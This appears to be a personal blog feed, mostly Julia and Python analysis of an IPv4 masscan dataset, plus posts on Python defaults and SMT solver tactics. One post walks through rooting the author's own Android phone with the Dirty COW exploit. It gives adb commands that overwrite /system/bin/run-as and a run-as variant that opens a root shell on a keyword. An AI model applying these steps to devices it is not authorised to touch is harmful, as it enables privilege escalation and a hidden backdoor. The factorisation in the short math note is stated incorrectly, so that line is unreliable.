julia> cluster_leaders  = insert!(df_cluster_leaders[:, :ip], 1, df[1, :ip])

⊕ Do not laugh. This is my first time coding a function in Julia, trying to do some closure-thing.

We can tag then each host of df with the first IP of its cluster, its leader.

julia> ix = [1]
julia> next_ix = [2]

julia> function assign_leader(val)
           if val >= cluster_leaders[next_ix[1]]
                 ix[1] = next_ix[1]
                 next_ix[1] += 1
           end
           return cluster_leaders[ix[1]]
       end

julia> df[!, :leader] = assign_leader.(df[:, :ip])

Now we can group by leader and count how many rows do we have. Remember that we filtered out duplicated IPs so counting the rows effectively is the same that counting how many hosts we have in each cluster.

julia> clusters_g = groupby(df, [:leader])
GroupedDataFrame with 10822515 groups based on key: leader

From there, we can estimate the clusters’ density:

julia> clusters_size = combine(clusters_g, nrow)

julia> describe(clusters_size[:, :count])
Summary Stats:
Length:         10822515
Missing Count:  0
Mean:           3.978428
Minimum:        1.000000
1st Quartile:   1.000000
Median:         1.000000
3rd Quartile:   2.000000
Maximum:        212730.000000
Type:           Int64

Keep in mind that we defined arbitrary the cluster as hosts that do not differ by more than 8 IPs.

The maximum is also, at least, suspicious. Again, the model used is probably too simplistic.

Further research

Indeed, the estimation of the clusters’ density is too coarse and the numbers are hard to interpret and make compatible with the estimation of the IP distribution.

Augmenting the dataset with the geolocalization of each host may help.

Using the TTLs to group the hosts is also possible: even hosts running different OS (and therefore with different default TTLs), the scanner should observe their TTLs decremented by the same factor if the hosts are in the same physical network.

Combining this with routing information it would be also helpful.

IPv4 Scan 2021 - Hop-Count Route Stability

2021-10-16T00:00:00+00:00

masscan tracks the time to live of each packet coming from the host under scan.

⊕ Yes and no: they should not but some network devices will mangle the packets as they want, including setting arbitrary TTLs.

See the observations done in the TTL Boost post.

These time to live (TTL) are numbers between 0 and 255 set by the host. In its journey, the packet goes through different routers that each decrements by one the TTL.

Once a packet has a TTL of zero, the router will discard it.

⊕ Assuming that the packet goes straight-forward to us. If there are loops in the routing systems, the packet will loop between the devices going nowhere.
That’s the point of the TTL: to catch and drop packets looping around.

Of course the host set the TTL to some reasonable high number so the packet should reach to its destination (us) before reaching to zero.

We cannot know exactly which route/s the packets taken but we can count for how many hops they went through: any change in the hop-count and we will get different TTLs and that’s evidence that they taken different routes.

The inverse is not true: a constant hop-count does not imply that the route taken is the same, only the route/s have the same hops.

In this post I will continue exploring how much a route is stable in terms of hop-counts.

How much stable is a route in a burst?

masscan scans the same host sending several probes at the same time in a burst.

As saw in a previous post, masscan may scan the same host more than once. We will call these rounds of bursts or just rounds.

masscan sends multiple packets (probes) to test the hosts’ ports.

It sends at the same time the probes to the same host in a burst.

Some time later it may scan the same host again. The collection of bursts to the same host are the rounds for that host.

TTLs extrema values for each short burst

Let’s review the short bursts first, the probes sent to a host at the same time:

julia> short_bursts_g = groupby(df, [:ip, :timestamp])
julia> short_bursts = combine(short_bursts_g, :ttl => minimum => :min, :ttl => maximum => :max)

Alternatively:

julia> short_bursts = combine(short_bursts_g, :ttl => (x -> [extrema(x)]) => [:min, :max])

⊕ For each response, the TTL is read and the minimum and maximum values are calculated for each burst.

This gives an idea of how different the TTL can be for probes sent in a short-elapsed burst.

The latter walks over the samples once calling the extrema function. However extrema is not compatible with DataFrames as is so we need to wrap it in an anonymous function (x -> [extrema(x)]).

This makes the latter much slower than the former, even if the former may walk over the samples twice.

Hop stability in short bursts

julia> countmap(short_bursts[:,:max] - short_bursts[:,:min])
Dict{Int32, Int64} with 6 entries:
  0 => 64801995
  1 => 68
  2 => 16
  3 => 1
  4 => 1
  7 => 4

The difference between the extremes, called the range, shows that the routes are quite stable, at least during the scan for a particular host.

The histogram shows that all the bursts have a TTL range of 0 except very few cases.

This means that the routes are stable but…

Keep in mind that the scans for a particular host in a particular time are like bursts: so it is reasonable that the routes didn’t change in such short period.

What would happen if we analyze now the stability for a longer period?

How much stable is a route in a longer period?

The dataset has scans to the same host at different time, what we call rounds.

We can do a second groupby + combine taking the minimum of the minimum TTLs and the maximum of the maximum TTLs to have the range per host, regardless of the timestamp, hence capturing some statistics for each round.

However we need to filter out the groups of scans to the same host that have only one timestamps: we want to compare rounds at different time and having a single round defeats the purpose.

These are scans to a host that were done in a single burst and we don’t have different burst at different time to compare with!

⊕ julia> hist_biased[0] - hist_unbiased[0] 29349509

To give you an idea of how much the bias towards stable routes is (aka range of 0).

If we left those, our analysis will be biased toward stable routes (range of 0).

Rounds of bursts

julia> all_rounds_g = groupby(short_bursts, :ip)

julia> rounds_g = filter(sdf -> nrow(sdf) != 1, all_rounds_g)
julia> rounds_ttl = combine(rounds_g, :min => minimum => :min, :max => maximum => :max)

julia> hist_unbiased = countmap(rounds_ttl[:,:max] - rounds_ttl[:,:min])
Dict{Int32, Int64} with 217 entries:
  56  => 50
  35  => 221
  60  => 597
  220 => 4
  67  => 5813
  73  => 75
  115 => 3
  112 => 4
  185 => 85
  ⋮   => ⋮

⊕ Yes, the (-) is the binary operator minus or subtraction that is applied row by row to the maximum and minimum values (:max and :min columns).

Hop stability in longer periods

Okay, the situation is quite different!

julia> multirounds_range = select(rounds_ttl, :ip, [:max, :min] => (-) => :range)

julia> describe(multirounds_range, :mean, :std, :min, :q25, :median, :q75, :max, cols=:range)
1×8 DataFrame
 Row │ variable  mean      std      min    q25      median   q75     max
─────┼──────────────────────────────────────────────────────────────────────
   1 │ range     0.634406  6.73528      0      0.0      0.0      0.0   239

So 75% of the samples have a range of 0. Let’s analyze the dataset without them:

julia> not_perfectly_stable = filter(:range => !=(0), multirounds_range)

julia> quite_stable = filter(:range => <=(7), not_perfectly_stable)
julia> describe(quite_stable, :mean, :std, :min, :q25, :median, :q75, :max, cols=:range)
 Row │ variable  mean     std      min    q25      median   q75      max
─────┼─────────────────────────────────────────────────────────────────────
   1 │ range     1.77117  1.39118      1      1.0      1.0      2.0    7


julia> unstable = filter(:range => >(7), not_perfectly_stable)
julia> describe(unstable, :mean, :std, :min, :q25, :median, :q75, :max, cols=:range)
 Row │ variable  mean     std      min    q25      median   q75      max
─────┼─────────────────────────────────────────────────────────────────────
   1 │ range     85.5505  62.5483      8     62.0     64.0    127.0   239

So it seems that the difference between TTLs for the same host is quite concentrated on 0 and closer, up to 7, as the mean 1.77117 and the standard deviation 1.39118 shows.

From there the differences are spread over the 8 to 239 range. The mean is around the middle of the range and the standard deviation is approx one quarter so the values are really spread.

⊕ In the dataset we have a slightly more unique hosts: 43056596. The difference is due the filtering that we did above but it does not change the results.

There are only 172217 samples of 43056567 unique hosts so the unstable represents only 0.39998%.

Bursts over longer periods but for how long?

⊕ For each burst we calculate its TTL range.

From there, a bunch of statistics can be calculated about the TTL ranges for the same hosts giving us an idea of the stability of the route to it.

Can we conclude that the routes are 99% of the time stable?

Well, yes but we are making an assumption: when we have two or more bursts to the same host we are assuming that those happen at different moments but… what do we mean by different moments?

Certainly, a difference of a few seconds does not change anything by real.

What we want is to measure the changes in the TTLs between bursts that happen at hours of difference.

So, let’s check how spread are the timestamps of the grouped by :ip, aka how spread are the bursts:

julia> rounds_spread = combine(rounds_g, :timestamp => std)
julia> describe(rounds_spread, :mean, :std, :min, :q25, :median, :q75, :max, cols=:timestamp_std)
 Row │ variable       mean     std      min       q25      median   q75      max
─────┼─────────────────────────────────────────────────────────────────────────────────
   1 │ timestamp_std  51768.5  32284.3  0.707107  25612.8  49328.5  73464.1  1.52706e5

So we have bursts that happen one after the other, roughly with 0.707 seconds of difference.

But most of the burst happen with several minutes, even hours of difference.

The 25-quantile, that represents the value of the first quarter of the samples, is of 25612.8 seconds, a little more than 7 hours.

Conclusions

So with these so-spread bursts and the so-little changed difference in the TTLs we can conclude that most of the hop-count routes are stable.

We cannot say anything about the real routes that the packets took but we can know that the count of hops that they passed through remained constant.

IPv4 Scan 2021 - Multiprobes Analysis

2021-09-19T00:00:00+00:00

To my surprise the dataset preprocessed in my previous post has duplicated entries. These are scans to the same host and port but with a different timestamp.

Questions like “which open port is more likely” will biased because the same host-port may be counted more than once.

On the other hand, this opens new questions:

which is the reason to scan the same port more than once? If it is fixed by the scanner we can deduce that ports scanned once were scanned more times but the other probes failed and get an estimation of such.
is the same port opened due different reasons?
could we characterize the scanner based on the timestamps like scanning patterns?

The second surprise was that even working with small samples (around 100MB), Pandas/Dask has serious performance problems:

consumes much more memory (gigas)
CPU at 100% all the time
simple operations like groupby take forever.

Goodbye Pandas, hello Julia?

Julia’s DataFrames

First we need to install a few packages:

julia> import Pkg

julia> Pkg.add("DataFrames")
julia> Pkg.add("Parquet")
julia> Pkg.add("CategoricalArrays")
julia> Pkg.add("StatsBase")
julia> Pkg.add("Statistics")
julia> Pkg.add("StatsPlots")

Then we load the dataframe:

julia> using Parquet, DataFrames, CategoricalArrays, StatsBase, Statistics, StatsPlots
julia> df = DataFrame(read_parquet("scans"))

Categorical data

⊕ The compress=true is needed so the column will be of the smallest type that can represent the categories, in our case, UInt8; otherwise CategoricalArrays.jl uses UInt32 by default.

Parquet.jl does not load the categories (or Pandas’s to_parquet is not writing them). This consumes more RAM because the reason and port columns are strings.

We can make them categorical back again with:

julia> df[!, :reason] = categorical(df[:, :reason], compress=true)

Ordinal data

We do the same for port column but we additionally mark the categorical as ordered.

julia> df[!, :port] = categorical(df[:, :port], compress=true, ordered=true)

As explained earlier, the ports don’t have a natural order however I this as an opportunity to explore and document how to work with ordinals.

CategoricalArrays.jl orders lexicographically by default. To change the order we need to do it later with levels!.

First we get ports labels (strings):

julia> s = levels(df.port)

Then we parse them as integers and sort them numerically:

julia> s = sort(parse.(UInt16, s))

We get back the ports labels as strings:

julia> s = string.(s)

Finally we rewrite the levels of the ordinal column:

julia> levels!(df.port, s)

Now the port column is an ordinal column and the order is implied by the numerical interpretation of its labels.

Is the same port opened due different reasons?

⊕ The :foo are symbols that in our case are the names of the columns. The ∘ (\circ in Latex) is the composite operator: length ∘ unique is equivalent to length(unique(x)). The whole :reason => length ∘ unique => :nunique reads as: take the reason column, count how many unique values are in each group and store the result (one per group) in the column nunique.

julia> g = groupby(df, [:ip, :port])
julia> df2 = combine(g,
                :reason => length ∘ unique => :nunique)

julia> countmap(df2.nunique)
Dict{Int64, Int64} with 1 entry:
  1 => 64787998

Nope, for each open port there is only one reason why it is open.

Which is the reason to scan the same port more than once?

masscan supports a --retries flag. From the documentation:

--retries: the number of retries to send, at 1 second intervals. Note that since this scanner is stateless, retries are sent regardless if replies have already been received.

This means that masscan will send $N$ probes to each port, always, within a second apart.

Let’s check that.

What is the distributions of probes per open port?

⊕ nrow is a special value that DataFrame’s combine will interpret as count the rows of each group. The rest follows the usual meaning: nrow => :count means store the count in a column named count.

julia> g = groupby(df, [:ip, :port])
julia> df2 = combine(g, nrow => :count)

julia> countmap(df2.count)
Dict{Int64, Int64} with 5 entries:
  5 => 1
  4 => 27
  2 => 13038
  3 => 750
  1 => 64774182

Notice how most of ip-port tuples were scanned once.

So masscan didn’t send $N$ probes to each port or it did it but the some probes never were answered (why?, who knows).

This could explain why some ports were scanned twice while others only one.

What is the distribution of intervals between probes for each port?

⊕ Sanity check: from the distribution of probes per port we know that we have 13038 ports with 2 probes that will contribute with 13038 rows to the difference dataframe;

750 ports with 3 probes that will contribute with 750 * 2 rows to the result; 27 ports with 4 probes contributing with 27 * 3 rows and finally 1 port with 5 probes contributing with 5 * 4 rows.

The expected total is 14623 that it is exactly the row count of df2.

julia> g = groupby(df, [:ip, :port])
julia> df2 = combine(g,
                :timestamp => diff ∘ sort => :interval)

julia> countmap(df2.interval)
Dict{Union{Missing, Int32}, Int64} with 30 entries:
  0  => 320
  1  => 2793
  2  => 585
  3  => 2625
  4  => 843
  5  => 159
  6  => 316
  7  => 1364
  8  => 512
  9  => 1435
  10 => 495
  11 => 149
  12 => 103
  13 => 52
  14 => 139
  15 => 1715
  16 => 828
  17 => 15
  18 => 6
  19 => 1
  23 => 2
  24 => 5
  25 => 3
  28 => 2
  29 => 1
  31 => 55
  32 => 92
  33 => 4
  34 => 3
  40 => 1

Certainly a histogram is better for this case:

Histogram of intervals between probes to the same host-port in seconds.

The median (5.0) and the mean (6.89) are labeled. The vertical axis is in logarithmic scale.

This was more spread than I expected. Most of the intervals are in the low range but there is non-negligible count for the 15 secs interval.

A quick statistics for the intervals:

julia> describe(df2, :mean, :std, :min, :q25, :median, :q75, :max, cols=:interval)
1×8 DataFrame
 Row │ variable  mean     std      min    q25      median   q75      max
     │ Symbol    Float64  Float64  Int32  Float64  Float64  Float64  Int32
─────┼─────────────────────────────────────────────────────────────────────
   1 │ interval   6.8051  5.75237      0      2.0      5.0     10.0  40

Or, statistic by statistic:

julia> mean(df2.interval)
6.805101552349039

julia> median(df2.interval)
5.0

julia> mode(df2.interval)
1

julia> std(df2.interval)
5.752370354791699

julia> quantile(df2.interval, [.25, .5, .75])
3-element Vector{Float64}:
  2.0
  5.0
 10.0

julia> iqr(df2.interval)
8.0

The median confirms our first analysis: the distribution is right skewed (the mean is on the right of the median).

What about the zero interval?

We can filter which rows has such in two ways being the second one the preferred and fastest:

julia> filter(dfrows -> dfrows.interval == 0, df2, view=true)
julia> filter(:interval => ==(0), df2, view=true)

Choosing one of the got IPs we can get the probes:

julia> filter(:ip => ==(22207380), df, view=true)
2×5 SubDataFrame
 Row │ timestamp   port   ttl     reason   ip
     │ Int32?      Cat…?  Int32?  Cat…?    Int64?
─────┼──────────────────────────────────────────────
   1 │ 1619740697  80         42  syn-ack  22207380
   2 │ 1619740697  80         42  syn-ack  22207380

timestamp as you see has 1-second resolution (4 bytes).

We could assume then that these two probes were done with 1-second interval apart but due the low resolution of the clock we got the same timestamp.

Some thoughts

My initial idea was to use this walk-through to learn and practice Pandas. Having a dataset of a non-trivial size, I knew that this was going to be a challenge.

But what a better opportunity to work with Dask too!

I really tried to make it work but even processing a 10% of the dataset made no difference: Pandas and Dask consumed so much memory that I couldn’t finish a single group-by + aggregation.

It is obvious that there are too many copies.

Doing a home-made custom aggregation function to sort this, I successfully bypassed the memory problem but I ended up in another one: CPU 100% never-finishing execution problem.

The custom aggregation function was written in Python, of course, but calling Python code for each row is incredible slow.

And all of this for a reduced dataset!

I’m talking of processing a 10% dataset and it didn’t finish after running for a whole night.

After a week of trying and failing, it was clear that Pandas+Dask need more love.

That’s when I considered Julia.

Julia code is compiled into machine code and because it deduces the types (most of the times), it can pack the data in arrays with high-locality and generates fast code ala C.

It is not magic and the libraries are designed to work in this way and avoid any sort of temporal copies.

On the other hand Julia libraries are much more modest in capabilities compared with Python’s ones.

It is a non-trivial trade-of.

IPv4 Scan 2021 - Dataset Preprocessing

2021-09-10T00:00:00+00:00

The dataset is a survey or port scan of the whole IPv4 range made with masscan.

The dataset however is much smaller than the expected mostly because most of the hosts didn’t response and/or they had all the scanned ports closed.

Only open ports were registered.

More over, of the 65536 available ports only a few were scanned and only for the TCP protocol.

Even with such reduced scope the dataset occupies around 9 GB.

This post is a walk-through for loading and preprocessing it.

Loading JSON

The original dataset is in JSON that it is not the most space-efficient format.

It consists in an array of hosts and per host we have an array of ports.

  {
    'ip': '165.221.32.138',
    'timestamp': '1619562631',
    'ports': [
       {
         'port': 21,
         'proto': 'tcp',
         'status': 'open',
         'reason': 'syn-ack',
         'ttl': 245
       }
    ]
  }

So there is plenty room for improvements.

Python’s json library loads everything to memory. This is a no-go. We use instead ijson that iterates over the elements of the file loading only what it is needed.

import ijson
import sys

# read from standard input and yield each host from it
hosts = ijson.items(sys.stdin, 'item')

for host in hosts:
    ip, timestamp, ports = host['ip'], int(host['timestamp']), host['ports']
    ...

IPv4 packing

The IP address can be stored in 4 bytes and Python’s ipaddress can pack it for us:

import ipaddress

for host in hosts:
    ip, timestamp, ports = host['ip'], int(host['timestamp']), host['ports']

    ip = ipaddress.ip_address(ip)
    assert ip.version == 4

    ip = int(ip)
    ...

Categorical data

Each port has a status and protocol (proto). Because those two are fixed to open and tcp respectively, it is pointless to store them.

The rest of the port’s attributes are more interesting:

for host in hosts:
    ...
    for port in ports:
        num, ttl = int(port['port']), int(port['ttl'])
        reason = port['reason']
        ...

reason is a string that represent why the port is open. But strings are expensive.

We can use instead a categorical type, a mapping between these strings and integers that represent them more efficiently:

from pandas.api.types import CategoricalDtype

# all the reasons that are in the dataset
reason_cat = CategoricalDtype([
    'syn-ack',
    'syn-ack-ece-cwr',
    'syn-ack-ece',
    'syn-psh-ack',
    'syn-ack-cwr',
    'fin-syn-ack'
    ])

Pandas already generates the categories for us but this requires to feed Pandas with all the dataset at once.

Instead we create the categories beforehand, split the dataset into manageable subsets, buckets or partitions and create one Pandas’ DataFrame per bucket/partition.

We use the same reason_cat object for all the dataframes created.

This is critical because merging/concatenating two dataframes with different (but semantically-equivalent) category sets will not raise any error but it will convert the column(s) into object type.

Quiet unhappy.

⊕ Yes, I know, 22 is less than 80 but it is meaningless: “ssh” is less than “http”, what could you draw from it?

The port numbers are also categories as they are not quantities nor have a meaningful order.

# all the port numbers that are in the dataset
port_cat = CategoricalDtype([
    '21',
    '22',
    '23',
    '80',
    '443',
    '3389',
    '4444',
    '5601',
    '8000',
    '8443',
    '9200',
    ])

Serialization in Apache’s Parquet format

To keep the dataset as small as possible we can use smaller types for each column:

ip and timestamp can be represented by uint32
ttl fits perfectly in uint8

Finally, we store each dataframe in disk using Apache’s Parquet format. We use version 2 that supports a much richer set of data types including uint32.

def save_df(rows, fileno):
    columns = ['ip', 'timestamp', 'port', 'ttl', 'reason']
    df = pd.DataFrame(rows, columns=columns)
    df = df.astype({
        'ip': np.uint32,   'timestamp': np.uint32,
        'port': port_cat,  'reason': reason_cat,
        'ttl': np.uint8,
        })

    # clean up
    rows.clear()

    # Save. 'brotli' yielded better compression ratio
    # when compared with snappy y gzip.
    df.to_parquet(f'scan{fileno:04}.pq', compression='brotli', version='2.0')


i, fileno = 0, 0
rows = []
for host in hosts:
    ...
    for port in ports:
        ...
        rows.append(ip, timestamp, num, ttl, reason)

    i += 1
    if i % bucket_size == 0:
        save_df(rows, fileno)
        fileno += 1
...

The dataframes are in tidy format: each row represents a single observation, or in this case, a single port scan.

We repeat over and over data that it is shared between port scans like the IP address or the timestamp (it is the opposite format of the normalized format).

It occupies more space, yes, but the manipulation of the dataset is much simpler and Pandas and Seaborn are tidy-centric.

Host aggregation

We know that all the ports for the same host are in the same df object so we can do some analysis here instead on the whole dataset.

We could count how many ports each host has, how many different reasons were found on each host and the minimum and maximum TTL seen.

df = df[['ip', 'port', 'ttl', 'reason']].groupby('ip').agg({
    'port': 'count',
    'ttl': ['min', 'max'],
    'reason': 'nunique',
})

After a group by/aggregation, the columns will be multi-index (to access the minimum of the TTL we will write df['ttl']['min']).

We don’t want that so we can remap the columns and reset the index.

df.columns = df.columns.map('_'.join)
df = df.reset_index()

df = df.astype({
    'port_count': np.uint8,
    'reason_count': np.uint8
})

Then we can extend save_df():

def save_df(rows, fileno):
    df = pd.DataFrame(rows, columns=columns)
    ...
    df.to_parquet(f'scan/scan{fileno:04}.pq', version='2.0')

    df = df[['ip', 'port', 'ttl', 'reason']].groupby('ip').agg({
        'port': 'count',
        'ttl': ['min', 'max'],
        'reason': 'nunique',
    })
    ...
    df.to_parquet(f'agg/agg{fileno:04}.pq', version='2.0')

Final bits

Putting all this together in repack.py and presto!

unzip -p archive.zip | python repack.py

Rooting Android with a Dirty COW

2021-08-22T00:00:00+00:00

I’ve recently got a quite old Android phone to play with. I guess the first thing to do is getting root, don’t you think?

Android SDK

While it is perfectly possible to download the SDK from Android and install it by hand, I liked the idea to use a package from Debian repository.

To interact with the device we will use Android Debug Bridge or adb for short.

Besides adb we need to setup a few udev rules so we can run it without root permissions.

The package android-sdk-platform-tools-common already does that, we only need to add our user to the plugdev group.

$ sudo usermod -aG plugdev $(id -un)
$ sudo apt-get install adb android-sdk-platform-tools-common

The compiler and the building tools, however, it wasn’t so easy.

google-android-ndk-installer is available for Bullseye but not for Buster :|

I decided to repackage it:

I downloaded the source package
I edited debian/control to declare as dependency debhelper-compat version 12 instead of 13 (which it is for Bullseye)
and finally, I built the .deb package with dpkg-buildpackage -rfakeroot -b -uc -us

dpkg -i *.deb and we are done.

Gathering info

To compile our priv-esc exploit we need to know the architecture and SDK version of the phone.

$ adb shell getprop ro.product.cpu.abi
armeabi-nn

$ adb shell getprop ro.build.version.sdk
nn

I left the connection details for the official documentation

Dirty COW

One of the most reliable modern exploits, the CVE-2016-5195 know as Dirty COW.

In short, it exploits a race condition in the Copy-on-Write (COW) feature in Linux kernel to write in memory pages that are supposed to be read-only.

This opens a whole set of opportunities to priv-esc:

we could write a setuid program with our payload, execute it and gain root permissions.
or we could patch /etc/passwd or other sensible file.

The beauty is that the exploit is quite easy to understand and read, something that it is crucial: you must never root your phone blindly trusting in an unknown apk or exploit. Never.

This Github repository is a PoC for exploiting Dirty COW on Androids. After a few hours of reviewing I was confident that it would be safe to use it.

The repository has:

dirtycow.c that implements the exploit
dcow.c, a tiny program interface
run-as.c that uses selinux to run as root

I had only modified run-as.c a little to call the original unpatched run-as program by default and drop a root shell only under a special condition. We don’t want that anyone can call it and become root!

const char* pkgname;
if (argc < 2)
    return 1;

pkgname = argv[1];
if (strcmp(pkgname, "cookie") != 0) {
    /* Rollback to the default run-as . */
    char *argv2[argc+1];
    memset(argv2, 0, sizeof(char*)*(argc+1));
    memcpy(argv2, argv, sizeof(char*)*argc);

    execvp("/system/bin/run-as.bck", argv2);
    return 1;
}

The compilation then went smoothly:

$ export PATH=$PATH:/usr/lib/android-sdk/ndk-bundle/
$ ndk-build NDK_PROJECT_PATH=. APP_BUILD_SCRIPT=./Android.mk APP_ABI=armeabi-nn APP_PLATFORM=android-nn

Patching

We upload the exploit and our custom run-as program to the phone:

$ adb push libs/armeabi-nn/dirtycow /storage/sdcard0/dcow
$ adb push libs/armeabi-nn/run-as /storage/sdcard0/run-as

We make a backup copy of the unpatched run-as program and trigger then the exploit. If everything goes well the read-only /system/bin/run-as will be replaced with our custom run-as:

$ adb shell 'cp /system/bin/run-as /storage/sdcard0/run-as.bck'
$ adb shell '/storage/sdcard0/dcow /storage/sdcard0/run-as /system/bin/run-as --no-pad'

We run run-as cookie cookie and we get a root shell; bypassing SELinux will be for another post :D

Fresh Python Defaults

2021-08-14T00:00:00+00:00

When defining a Python function you can define the default value of its parameters.

The defaults are evaluated once and bound to the function’s signature.

That means that mutable defaults are a bad idea: if you modify them in a call, the modification will persist cross calls because for Python its is the same object.

>>> def foo(a, b='x', c=[]):
...     b += '!'
...     c += [2]
...     print(f"a={a} b={b} c={c}")

>>> foo(1)  # uses the default list
a=1 b=x! c=[2]

>>> foo(1)  # uses the *same* default list
a=1 b=x! c=[2, 2]

>>> foo(1, 'z', [3]) # uses another list
a=1 b=z! c=[3, 2]

>>> foo(1)  # uses the *same* default list, again
a=1 b=x! c=[2, 2, 2]

A mutable default can be used as the function’s private state as an alternative to functional-traditional closures and object-oriented classes.

But in general a mutable default is most likely to be a bug.

Could Python have a way to prevent such thing? Or better, could Python have a way to restart or refresh the mutable defaults in each call?

This question raised up in the python-list. Let’s see how far we get.

Signatures

The beauty of most dynamic languages is the ability to reason about themselves.

>>> import inspect
>>> inspect.signature(foo)
<Signature (a, b='x', c=[2, 2, 2])>

inspect.signature does not retrieve the “static” signature of foo but its current-alive signature. That’s why we get c=[2, 2, 2] instead of c=[].

While Signature is an immutable object, Signature parameters’ defaults aren’t:

>>> sig = inspect.signature(foo)
>>> sig.parameters['c'].default.clear() # clear c's default list

>>> foo(1)  # uses the same but "refreshed" default list
a=1 b=x! c=[2]

>>> sig.parameters['c'].default.clear() # clear for the next call

This is an interesting way to refresh default objects but clear() is not universal: it works for list, dict and set but not for user-defined objects.

Still, inspect.signature gives the name of the parameters that have a default and it is a good starting point.

>>> params = sig.parameters
>>> params_with_defaults = {
...     name: param for name, param in params.items()
...     if param.default is not param.empty
... }

Mutability

No all the default objects need to be refreshed: immutable ones are perfectly safe as their value, by definition, cannot change.

>>> const_types = frozenset((
...     type(frozenset()),
...     type(tuple()),
...     type(None),
...     type(""),       # str
...     type(b""),      # bytes
...     type(1),        # int
...     type(1j),       # complex
...     type(0.1),      # float
...     type(True),     # bool
...     type(range(1)), # range
...     ))

>>> params_to_refresh = {
...     name: param for name, param in params_with_defaults.items()
...     if type(param.default) not in const_types
... }

const_types is not an exhaustive set, only the most common types are there.

In fact we don’t need to store the param objects as they are stored in the function’s signature anyways. The parameters’ names are enough.

>>> params_to_refresh = tuple(params_to_refresh.keys())

Call arguments

When a function is called the function’s parameters are bound with the arguments.

>>> bound = sig.bind(1, b='z')  # same as foo(1, b='z')
>>> arguments = bound.arguments

Python binds only the parameters that have an explicit value:

if a parameter without a default is not bound, TypeError is raised.
if a parameter has a default it is left unbound.

This is perfect because we can know which parameters are not bound yet:

>>> set(params) - set(arguments)
{'c'}

Bind a copy

This is the idea: we check the unbound parameters and if they are not immutable we copy their default values and bind the copy like if the user would passed it explicitly.

>>> from copy import deepcopy
>>> arguments['c'] = deepcopy(params['c'].default)

c not longer is unbound:

>>> set(params) - set(arguments) # c is bound now
set()

Because there could be still unbound parameters, we can let Python follow the normal path and bind them with the respective defaults.

>>> bound.apply_defaults()

Finally we can emulate a function call like this:

>>> foo(*bound.args, **bound.kwargs)
a=1 b=z! c=[2]

To call it again we need to create another copy from parameter’s default:

>>> arguments['c'] = deepcopy(params['c'].default)
>>> foo(*bound.args, **bound.kwargs)
a=1 b=z! c=[2]

Wrap up

We can pack all this nicely in a decorator

>>> def fresh_defaults(func):
...     sig = inspect.signature(func)
...     params = sig.parameters
...
...     to_refresh = tuple(
...             name for name, p in params.items()
...             if p.default is not p.empty and type(p.default) not in const_types
...             )
...
...     def wrapped(*args, **kargs):
...         bound = sig.bind(*args, **kargs)
...         arguments = bound.arguments
...
...         for name in to_refresh:
...             if name not in arguments:
...                 default = params[name].default
...                 arguments[name] = deepcopy(default)
...
...         bound.apply_defaults()
...
...         return func(*bound.args, **bound.kwargs)
...     return wrapped

Enjoy!

>>> @fresh_defaults
... def foo(a, b='x', c=[]):
...     b += '!'
...     c += [2]
...     print(f"a={a} b={b} c={c}")

>>> foo(1)  # uses a copy of the default list
a=1 b=x! c=[2]

>>> foo(1)  # uses fresh copy of the default list
a=1 b=x! c=[2]

>>> foo(1, 'z', [3]) # uses another list
a=1 b=z! c=[3, 2]

>>> foo(1)  # uses another fresh default list.
a=1 b=x! c=[2]

Difference of two squares

2021-08-12T00:00:00+00:00

Visual proof that $b^2 - a^2$ factorizes into $(b - a)(b + 1)$.

SMT Goals and Strategies

2021-07-12T00:00:00+00:00

SMT/SAT problems are in general undecidable: basically we cannot know if we can get even an answer. The search space is in general infinite.

But several concrete problems have a reduced space and may be tractable: while theoretical really hard, we can find a solution in a reasonable time.

Still, a solver may need some extra help to navigate across the search space.

A strategy is a guide that hopefully will lead to a solution (sat or unsat) in a reasonable time using a reasonable amount of resources.

It is quite an art and the concepts were around for more than 30 years.

This post is a quick overview of concepts like strategies, tactics, tacticals, merit order, cost functions, heuristic functions, goals, approximations, redundancy control, search strategies, probes and a few more.

Quite a heavy post I’m afraid.

Goals

A goal is what we want to solve. Depending of the underlying theory this can be:

a set of inequations, and we want to see if there is a solution to them.
a set of propositional clauses, and want to see if exist propositional variables to make them true.
even a combination of theories are possible.

Let be the goal set ${G}$ consisting of a single goal $G$:

$$ G: [ a = b + 1, (a < 0 ∨ a > 0), b > 3 ] $$

The goal is to see if there is an assignment for $a$ and $b$ such those inequations hold or if there is a contradiction so it doesn’t exist such assignment.

In the first case we say that the such assignment satisfies the goal (the solver returned sat); in the second case the problem is unsatisfied (unsat).

Tactics

A tactic tries to solve the goal or at least tries to make it easier to solve.

The tactic elim, for example, eliminates intermedian variables such given $a = b + 1$ the tactic can eliminate $a$ and replace it by $b + 1$.

It doesn’t solve the problem, but it makes it a little easier to solve later.

A tactic may have 4 possible results:

sat: the tactic resolved the goal and returned a model, an assignment that satisfies the goal.
unsat: the tactic found a contradiction and returned a proof of why the goal is unsat.
unknown: the tactic returns a set of subgoals, hopefully being simpler to solve.
fail: the tactic didn’t work.

In this case the tactic elim returns unknown and the following 1-goal set:

$$ G_1: [ (b + 1 < 0 ∨ b + 1 > 0), b > 3] $$

The tactic split-or takes each goal and splits the disjunctives generating a subgoal per case. Like before this tactic returns unknown and the subgoals (an ordered set):

$$ G_2: [ b + 1 < 0, b > 3] \\ G_3: [ b + 1 > 0, b > 3] $$

Approximations

The tactics may under-approximate by changing the initial goal by another, hopeful simpler, which if it is sat then the initial goal is sat too.

An example could be adding more restrictions or assumptions: if the new more restrictive problem is sat then the initial is sat too. This is known as strengthening.

However, if a under-approximate tactic yields unsat we cannot say anything about the initial goal.

The tactics may also over-approximate by making a new goal less restrictive: if the new problem is unsat then the initial goal is unsat too; if the new problem is sat however, we cannot say anything else.

An example could be removing restrictions or assumptions known as weakening.

Goals sets

In [2] the returned set by a tactic is in fact two: the set of goals added and the set of goals deleted from the initial goal set. The deleted set not only deletes the goals but also marks them to make sure they are not readded later (called redundacy control [1])

In [1] the tactic are categorized as ordering-based if their input is a set of objects (all the goals) and subgoal-reduction if their input is a single object (a single goal).

The first operates over all the goals in each step and it is where it makes possible to add or remove goals from the set.

On the other hand the second operates over each goal at time.

Note: [1] uses ordering-based and subgoal-reduction to categorize strategies and not tactics but it seems reasonable to stretch a little the definition.

Tactics’ products: models and proofs

Note that subgoals $G_2$ and $G_3$ comes from a disjunctive:

at least one must be true to declare the parent goal G_1 sat
all of them must be false to declare the parent goal G_1 unsat

In addition the tactic must build a model from one of the subgoal sat and a proof from all the subgoals when they are unsat.

This is handled by the tactic’s model converter and proof converter functions, mc and pc for short.

Proof graphs / Search graphs

The successive application of tactics generates subgoals that induce a tree structure know as the proof tree:

